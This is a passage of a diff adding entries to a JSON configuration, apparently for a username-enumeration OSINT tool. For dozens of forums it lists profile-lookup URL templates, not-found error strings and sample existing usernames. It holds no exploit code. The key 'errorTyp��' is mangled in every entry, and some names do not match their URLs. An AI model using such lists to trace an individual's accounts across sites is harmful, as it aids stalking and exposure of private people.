{ + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pron.my1.ru/index/8-0-{}", + "urlMain": "http://pron.my1.ru/", + "usernameON": "Belryelug", + "bad_site": "" + }, + "Forum_propisnoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prostoljud.my1.ru/index/8-0-{}", + "urlMain": "https://prostoljud.my1.ru", + "usernameON": "biblicalstudiesru", + "bad_site": "" + }, + "Forum_proxmox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.proxmox.com/members/?username={}", + "urlMain": "https://forum.proxmox.com", + "usernameON": "emunt6", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pskovchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.pskovchess.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pskovchess.ru", + "usernameON": "shakh", + "bad_site": "" + }, + "Forum_psp-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp-club.ucoz.net/index/8-0-{}", + "urlMain": "https://psp-club.ucoz.net", + "usernameON": "swp", + "bad_site": "" + }, + "Forum_psp1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psp1.do.am/index/8-0-{}", + "urlMain": "https://psp1.do.am", + "usernameON": "serg2037", + "bad_site": "" + }, + "Forum_psx-core": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psx-core.ru/index/8-0-{}", + "urlMain": "https://psx-core.ru", + "usernameON": "pvc1", + "bad_site": "" + }, + "Forum_psxworld": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://psxworld.ru/index/8-0-{}", + "urlMain": "http://psxworld.ru", + "usernameON": "majerock", + "bad_site": "" + }, + "Forum_psy-dv_org": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://psy-dv.org/index/8-0-{}", + "urlMain": "https://psy-dv.org", + "usernameON": "Michael", + "bad_site": "" + }, + "Forum_psych": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.psychforums.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.psychforums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_psyche": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "возникла проблема", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://psyche.guru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://psyche.guru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_psychobike": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.psychobike.com/members/?username={}", + "urlMain": "https://www.psychobike.com", + "usernameON": "streetfighterz", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_psystan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.psystan.ru/index/8-0-{}", + "urlMain": "http://www.psystan.ru", + "usernameON": "Olsestar", + "bad_site": "" + }, + "Forum_pt_at": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pt.at.ua/index/8-0-{}", + "urlMain": "https://pt.at.ua/", + "usernameON": "novator197726", + "bad_site": "" + }, + "Forum_punkgazetka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>http://forum.quake2.com.ru :: ", + "errorTyp��": "message", + "url": "https://forum.quake2.com.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.quake2.com.ru/", + "usernameON": "Khidalov", + "bad_site": "" + }, + "Forum_quakeworld": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "not return any result. ", + "errorMsg2": "div class=\"table\" style=\"margin-bottom", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.quakeworld.nu/profiles/?u={}", + "urlMain": "https://www.quakeworld.nu", + "usernameON": "renzo", + "bad_site": "" + }, + "Forum_questionablequesting": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.questionablequesting.com/members/?username={}", + "urlMain": "https://forum.questionablequesting.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_quik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://forum.quik.ru/user/{}/", + "urlMain": "https://forum.quik.ru", + "usernameON": "swerg", + "bad_site": "" + }, + "Forum_r1": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r1-forum.com/members/?username={}", + "urlMain": "https://www.r1-forum.com", + "usernameON": "rabbit671", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r3": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r3-forums.com/members/?username={}", + "urlMain": "https://www.r3-forums.com", + "usernameON": "renboy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r4n": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "сообщений не найдено", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://r4n.su/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "http://r4n.su", + "usernameON": "43Radio43", + "bad_site": "" + }, + "Forum_r4u": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://r4u.ucoz.net/index/8-0-{}", + "urlMain": "https://r4u.ucoz.net", + "usernameON": "adqeep", + "bad_site": "" + }, + "Forum_r6": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r6-forum.com/members/?username={}", + "urlMain": "https://www.r6-forum.com", + "usernameON": "tylerjones997", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_r8talk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.r8talk.com/members/?username={}", + "urlMain": "https://www.r8talk.com", + "usernameON": "stevekcropper", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ra1afe": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ra1afe.ucoz.ru/index/8-0-{}", + "urlMain": "https://ra1afe.ucoz.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_ra4a": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ra4a.ru/index/8-0-{}", + "urlMain": "http://ra4a.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Forum_rabbitdogs": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.rabbitdogs.net/members/?username={}", + "urlMain": "https://www.rabbitdogs.net", + "usernameON": "bigk", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_racefans": { + "country": "🇬🇧", + "country_klas": "GB", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "You've crashed", + "errorMsg2": "One moment", + "errorTyp��": "message", + "url": "https://www.racefans.net/members/{}/", + "urlMain": "https://www.racefans.net", + "usernameON": "douglaswebster", + "bad_site": "" + }, + "Forum_racer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://racer.do.am/index/8-0-{}", + "urlMain": "https://racer.do.am", + "usernameON": "Jessika", + "bad_site": "" + }, + "Forum_racketboy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.racketboy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.racketboy.com", + "usernameON": "Limewater", + "bad_site": "" + }, + "Forum_radio1": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.radiodom.org/index/8-0-{}", + "urlMain": "http://www.radiodom.org", + "usernameON": "Andrew", + "bad_site": "" + }, + "Forum_radiotehnik72": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://radiotehnik72.ucoz.ru/index/8-0-{}", + "urlMain": "https://radiotehnik72.ucoz.ru", + "usernameON": "akhmalik72", + "bad_site": "" + }, + "Forum_rainbowhappy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://rainbowhappy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rainbowhappy.ucoz.ru", + "usernameON": "FrankMate", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rainmeter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rainmeter.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.rainmeter.net", + "usernameON": "Jeff", + "bad_site": "" + }, + "Forum_rakesh-jhunjhunwala": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rakesh-jhunjhunwala.in/forum/members/?username={}", + "urlMain": "https://rakesh-jhunjhunwala.in", + "usernameON": "arjun", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_raks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://raks.com.ua/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://raks.com.ua", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_rakursy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rakursy.ucoz.ru/index/8-0-{}", + "urlMain": "https://rakursy.ucoz.ru", + "usernameON": "Schoroch", + "bad_site": "" + }, + "Forum_rakwireless": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rakwireless.com/u/{}/summary", + "urlMain": "https://forum.rakwireless.com", + "usernameON": "hobo", + "bad_site": "" + }, + "Forum_ram1500diesel": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ram1500diesel.com/members/?username={}", + "urlMain": "https://www.ram1500diesel.com", + "usernameON": "kazimodo", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ramenskoe1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ramenskoe1.ucoz.ru/index/8-0-{}", + "urlMain": "https://ramenskoe1.ucoz.ru", + "usernameON": "gorodisskyru", + "bad_site": "" + }, + "Forum_ranobes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Just a moment", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.ranobes.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.ranobes.com", + "comments": "cf", + "usernameON": "Jaeri", + "bad_site": "" + }, + "Forum_rarib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "DDOS-GUARD</title", + "errorMsg2": "Информация", + "errorMsg3": "технические работы", + "errorTyp��": "message", + "url": "https://forum.rarib.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Поиск", + "urlMain": "https://forum.rarib.ag", + "usernameON": "kokky", + "bad_site": "" + }, + "Forum_rasmircoins": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rasmircoins.ucoz.ru/index/8-0-{}", + "urlMain": "https://rasmircoins.ucoz.ru/", + "usernameON": "Faghouri", + "bad_site": "" + }, + "Forum_raspberrypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://forums.raspberrypi.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.raspberrypi.com", + "usernameON": "adam", + "comments": "cf", + "ignore_status_code": true, + "bad_site": "" + }, + "Forum_ratsun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ratsun.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ratsun.net", + "usernameON": "datzenmike", + "bad_site": "" + }, + "Forum_ravnovesie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ravnovesie.ucoz.net/index/8-0-{}", + "urlMain": "https://ravnovesie.ucoz.net", + "usernameON": "Светлана", + "bad_site": "" + }, + "Forum_ray": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://discuss.ray.io/u/{}/summary", + "urlMain": "https://discuss.ray.io", + "usernameON": "Lacruche", + "bad_site": "" + }, + "Forum_rayven": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rayven.at.ua/index/8-0-{}", + "urlMain": "https://rayven.at.ua/", + "usernameON": "rayven", + "bad_site": "" + }, + "Forum_raznoe-vse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://raznoe-vse.ucoz.ru/index/8-0-{}", + "urlMain": "https://raznoe-vse.ucoz.ru", + "usernameON": "egorsmirnowv", + "bad_site": "" + }, + "Forum_razrab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://razrab.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://razrab.ru", + "usernameON": "ibev", + "bad_site": "" + }, + "Forum_razvilka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rbk-portal.3dn.ru/index/8-0-{}", + "urlMain": "https://rbk-portal.3dn.ru", + "usernameON": "BeLoNe", + "bad_site": "" + }, + "Forum_rclone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rclone.org/u/{}", + "urlMain": "https://forum.rclone.org", + "usernameON": "Alexander_Andriishin", + "bad_site": "" + }, + "Forum_rdr2": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.rdr2.org/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rdr2.org", + "usernameON": "Parzival", + "bad_site": "" + }, + "Forum_rdw": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://rdw.ucoz.ru/index/8-0-{}", + "urlMain": "https://rdw.ucoz.ru", + "usernameON": "jabbarhuusaincs", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_real-sp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://real-sp.ucoz.com/index/8-0-{}", + "urlMain": "https://real-sp.ucoz.com", + "usernameON": "Yuriysap", + "bad_site": "" + }, + "Forum_realistzoosafety": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "banned", + "errorTyp��": "message", + "url": "https://forum.realsurf.com/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum.realsurf.com", + "usernameON": "admin", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_rebkell": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://boards.rebkell.net/profile.php?mode=viewprofile&u={}", + "urlMain": "https://boards.rebkell.net", + "usernameON": "rebkell", + "bad_site": "" + }, + "Forum_rebornbuddy": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://rebornbuddy.com/xf/members/?username={}", + "urlMain": "https://rebornbuddy.com/", + "usernameON": "tony", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_recoveryRU": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + "Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "bad_site": "" + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + "urlMain": "https://rg.myqip.ru", + "usernameON": 